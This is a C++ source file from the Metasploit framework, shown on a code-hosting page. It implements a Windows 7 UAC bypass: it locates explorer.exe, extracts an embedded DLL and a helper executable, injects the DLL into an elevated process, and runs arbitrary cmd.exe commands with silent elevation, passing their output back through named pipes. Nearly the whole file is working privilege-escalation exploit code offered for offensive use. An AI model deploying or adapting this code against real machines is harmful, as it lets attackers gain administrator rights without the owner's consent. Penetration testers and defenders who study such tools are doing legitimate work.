metasploit-framework/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp

362 lines
20 KiB
C++
Raw Blame History

This file contains invisible Unicode characters!

This file contains invisible Unicode characters that may be processed differently from what appears below. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to reveal hidden characters.

#include "stdafx.h"
#include "resource.h"
#include "Win7Elevate_Utils.h"
#include "Win7Elevate_Inject.h"
#include <iostream>
#include <sstream>
#include <algorithm>
#include ".\..\Redirector.h"
#include ".\..\CMMN.h"
//
// By Pavlov P.S. (PavPS)
//
void PrintUsage()
{
std::cout << "Incorrect input. Please find samples below. " << std::endl;
std::cout << "Note, 'elevate stuff' will be executed in the elevated shell as 'cmd.exe stuff' " << std::endl;
std::cout << "\televate /c <ANY COMMAND SEQUENCE THAT IS ALLOWED BY CMD.EXE SHELL>" << std::endl;
std::cout << "\televate /c <command> [arg1] [arg2] .. [argn]" << std::endl;
std::cout << "\televate --pid 1234 /c <command> [arg1] [arg2] .. [argn]" << std::endl;
std::cout << "\televate /c c:\\path\\foo.exe [arg1] [arg2] .. [argn]" << std::endl;
std::cout << "\televate --pid 1234 /c c:\\path\\foo.exe [arg1] [arg2] .. [argn]" << std::endl;
}
HANDLE PipeIn = NULL;
OVERLAPPED PipeInO;
HANDLE PipeOut = NULL;
OVERLAPPED PipeOutO;
HANDLE PipeErr = NULL;
OVERLAPPED PipeErrO;
//
// Initializes named pipes that will be used for connection with TIOR
//
bool SetupNamedPipe()
{
PipeInO.hEvent = CreateEvent( NULL, TRUE, FALSE, NULL );
PipeIn = CreateNamedPipe(
STDIn_PIPE,
PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE | FILE_FLAG_WRITE_THROUGH | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
0, 0,
NMPWAIT_USE_DEFAULT_WAIT,
NULL );
ConnectNamedPipe( PipeIn, &PipeInO );
PipeOutO.hEvent = CreateEvent( NULL, TRUE, FALSE, NULL );
PipeOut = CreateNamedPipe(
STDOut_PIPE,
PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE | FILE_FLAG_WRITE_THROUGH | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
0, 0,
NMPWAIT_USE_DEFAULT_WAIT,
NULL );
ConnectNamedPipe( PipeOut, &PipeOutO );
PipeErrO.hEvent = CreateEvent( NULL, TRUE, FALSE, NULL );
PipeErr = CreateNamedPipe(
STDErr_PIPE,
PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE | FILE_FLAG_WRITE_THROUGH | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
0, 0,
NMPWAIT_USE_DEFAULT_WAIT,
NULL );
ConnectNamedPipe( PipeErr, &PipeErrO );
return true;
}
//
// Initiates data pumping.
//
DWORD __stdcall Redirector()
{
if ( !PipeIn )
return -1;
if ( PipeInO.hEvent )
WaitForSingleObject( PipeInO.hEvent, -1000 );
if ( PipeOutO.hEvent )
WaitForSingleObject( PipeOutO.hEvent, -1000 );
if ( PipeErrO.hEvent )
WaitForSingleObject( PipeErrO.hEvent, -1000 );
TRedirectorPair in = {0};
in.Source = GetStdHandle(STD_INPUT_HANDLE);
in.Destination = PipeIn;
in.Linux = true;
in.Name.assign(TEXT("w7e-in"));
in.Thread= CreateThread( NULL, 0, Redirector, &in, 0, NULL);
TRedirectorPair out = {0};
out.Destination = GetStdHandle(STD_OUTPUT_HANDLE);
out.Source = PipeOut;
out.Name.assign(TEXT("w7e-out"));
out.Thread= CreateThread( NULL, 0, Redirector, &out, 0, NULL);
TRedirectorPair err = {0};
err.Destination = GetStdHandle(STD_ERROR_HANDLE);
err.Source = PipeErr;
err.Name.assign(TEXT("w7e-err"));
err.Thread= CreateThread( NULL, 0, Redirector, &err, 0, NULL);
HANDLE waiters[3] = { in.Thread, out.Thread, err.Thread };
WaitForMultipleObjects( 3, waiters, FALSE, INFINITE );
return 0;
}
bool IsDefaultProcess ( std::pair<DWORD, std::wstring> pair ) {
return lstrcmpi( pair.second.c_str(), TEXT("explorer.exe") ) == 0;
}
//
// To avoid some problems with deadlocked processes we need to find way how to run program
// once more. Since program uses named papes, it can not be started twice (in current realization).
// So, if instance of this process already exists, we need to kill it. Regular exe, started from the
// user's account has no access to kill existing app.
// Here i use named event to listen for and perform suicide. So, i just need to set this event (if one)
// and already existsing app will kill itself.
//
DWORD WINAPI Suicide( LPVOID Parameter )
{
CLogger::LogLine(TEXT("Waiting for suicide..."));
WaitForSingleObject( reinterpret_cast<HANDLE>( Parameter ), INFINITE );
SetEvent( reinterpret_cast<HANDLE>( Parameter ) );
CLogger::LogLine(TEXT("Suicide..."));
ExitProcess( EXIT_FAILURE );
return EXIT_SUCCESS;
}
int _tmain(int argc, _TCHAR* argv[])
{
CLogger::Reset();
CLogger::LogLine(TEXT("Started"));
//
// Looking for suicide.
//
HANDLE obj = CreateEvent( NULL, FALSE, TRUE, TEXT("ws7Suicide") );
if ( !obj )
{
CLogger::LogLine(TEXT("Unable to create suicide object"));
ExitProcess( EXIT_FAILURE );
}
//
// If we see that suicide event is in reset state, we just pulce one and wait for
// it's owner to die. When its done, we acuire this event object and also starting listening for
// any signals of this object.
//
do
{
DWORD rv = WaitForSingleObject( obj, 100 );
if ( rv == WAIT_OBJECT_0 ) break;
if ( rv != WAIT_TIMEOUT )
{
CLogger::LogLine(TEXT("Suicide wait error"));
ExitProcess( EXIT_FAILURE );
}
CLogger::LogLine(TEXT("Somebody alive. Pulse."));
PulseEvent( obj );
Sleep(1000); // wee need to wait;
}while( true );
HANDLE hSuicide = CreateThread( NULL, 0, Suicide, obj, 0, NULL );
if ( !hSuicide )
{
CLogger::LogLine(TEXT("Immortals are not allowed"));
return EXIT_FAILURE;
}
do
{
int pass_through_index = 1;
if ( argc <= pass_through_index )
{
std::cout << "Too few arguments" << std::endl;
break;
}
DWORD pid = 0;
if ( lstrcmpi( argv[1], TEXT("--pid") ) == 0 )
{
pass_through_index = 3;
if ( argc <= pass_through_index )
{
std::cout << "Too few arguments" << std::endl;
break;
}
std::wistringstream pid_stream( argv[2] );
if ( ! ( pid_stream >> pid ) )
{
std::cout << "Invalid pid" << std::endl;
pid = 0;
}
}
if ( ! pid )
{
std::map< DWORD, std::wstring > procs;
if (!W7EUtils::GetProcessList(GetConsoleWindow(), procs))
{
std::cout << "Unable to obtain list of processes" << std::endl;
break;
}
std::map< DWORD, std::wstring >::const_iterator iter = std::find_if( procs.begin(), procs.end(), IsDefaultProcess );
if (iter == procs.end())
{
std::cout << "Unable to find default process" << std::endl;
break;
}
pid = (*iter).first;
}
TOKEN_ELEVATION_TYPE g_tet = TokenElevationTypeDefault;
if (!W7EUtils::GetElevationType(&g_tet))
{
_tprintf(_T("GetElevationType failed"));
break;
}
switch(g_tet)
{
default:
case TokenElevationTypeDefault:
CLogger::LogLine(_T("<< UNKNOWN elevation level. >>\n"));
break;
case TokenElevationTypeFull:
CLogger::LogLine(_T("*** Since the program is already elevated the tests below are fairly meaningless. Re-run it without elevation. ***\n"));
break;
case TokenElevationTypeLimited:
CLogger::LogLine(_T("This program attempts to bypass Windows 7's default UAC settings to run the specified command with silent elevation.\n"));
break;
}
W7EUtils::CTempResource dllResource(NULL, IDD_EMBEDDED_DLL);
std::wstring strOurDllPath;
if (!dllResource.GetFilePath(strOurDllPath))
{
//MessageBox(GetConsoleWindow(), L"Error extracting dll resource.", L"W7Elevate", MB_OK | MB_ICONERROR);
CLogger::LogLine(TEXT("Error extracting dll resource."));
break;
}
//
// Extraction TIOR.exe from resources and saves exe in the folder where current application
// exists.
//
W7EUtils::CTempResource TIORResource(NULL, IDD_EMBEDDED_TIOR);
std::wstring strOurTIORPath;
std::wstring tior;
bool tior_succeed = false;
if (TIORResource.GetFilePath(strOurTIORPath))
{
CLogger::LogLine(TEXT("TIOR extracted"));
TCHAR me_buff[MAX_PATH];
DWORD me_count = GetModuleFileName( NULL, me_buff, MAX_PATH );
if ( me_count )
{
TCHAR *me_tail = me_buff + me_count - 1;
for( ; me_tail > me_buff; me_tail-- )
if ( *me_tail == '\\' )
{
me_tail++;
*me_tail = 0;
break;
}
tior.assign(me_buff);
tior.append( TEXT("tior.exe") );
if ( CopyFile( strOurTIORPath.c_str(), tior.c_str(), FALSE ) )
{
CLogger::LogLine(TEXT("TIOR copied"));
tior_succeed = true;
}
}
}
if ( tior_succeed )
{
tior_succeed = false;
CInterprocessStorage *tior_storage = CInterprocessStorage::Create( TEXT("w7e_TIORPath") );
if ( tior_storage )
{
CLogger::LogLine(TEXT("TIOR path set"));
tior_storage->SetString( tior );
tior_succeed = true;
}
}
if ( !tior_succeed )
{
//MessageBox(GetConsoleWindow(), L"Error extracting tior resource.", L"W7Elevate", MB_OK | MB_ICONERROR);
CLogger::LogLine(L"Error extracting tior resource.");
break;
}
std::wstring args;
for ( int i = pass_through_index; i < argc; i++ )
{
bool q = wcsstr(argv[i], TEXT(" ")) || wcsstr(argv[i], TEXT("\t"));
if ( q ) args.append( TEXT("\"") );
args.append( argv[i] );
if ( q ) args.append( TEXT("\"") );
args.append( TEXT(" ") );
}
if ( !SetupNamedPipe() )
std::cout << "Unable to setup named pipe" << std::endl;
//
// Preparing shared variables to be used by TIOR that is going to start after we will inject
// and load dll into elevated process.
//
CInterprocessStorage::Create( TEXT("w7e_TIORShell"), std::wstring(TEXT("cmd.exe")) );
CInterprocessStorage::Create( TEXT("w7e_TIORArgs"), args );
CInterprocessStorage::Create( TEXT("w7e_TIORDir"), std::wstring(TEXT("C:\\Windows\\System32")) );
W7EInject::AttemptOperation(
GetConsoleWindow(),
true,
true,
pid,
TEXT("n/a"),
argv[pass_through_index],
args.c_str(),
TEXT("C:\\Windows\\System32"),
strOurDllPath.c_str(),
Redirector);
return EXIT_SUCCESS;
}while(false);
PrintUsage();
return EXIT_FAILURE;
}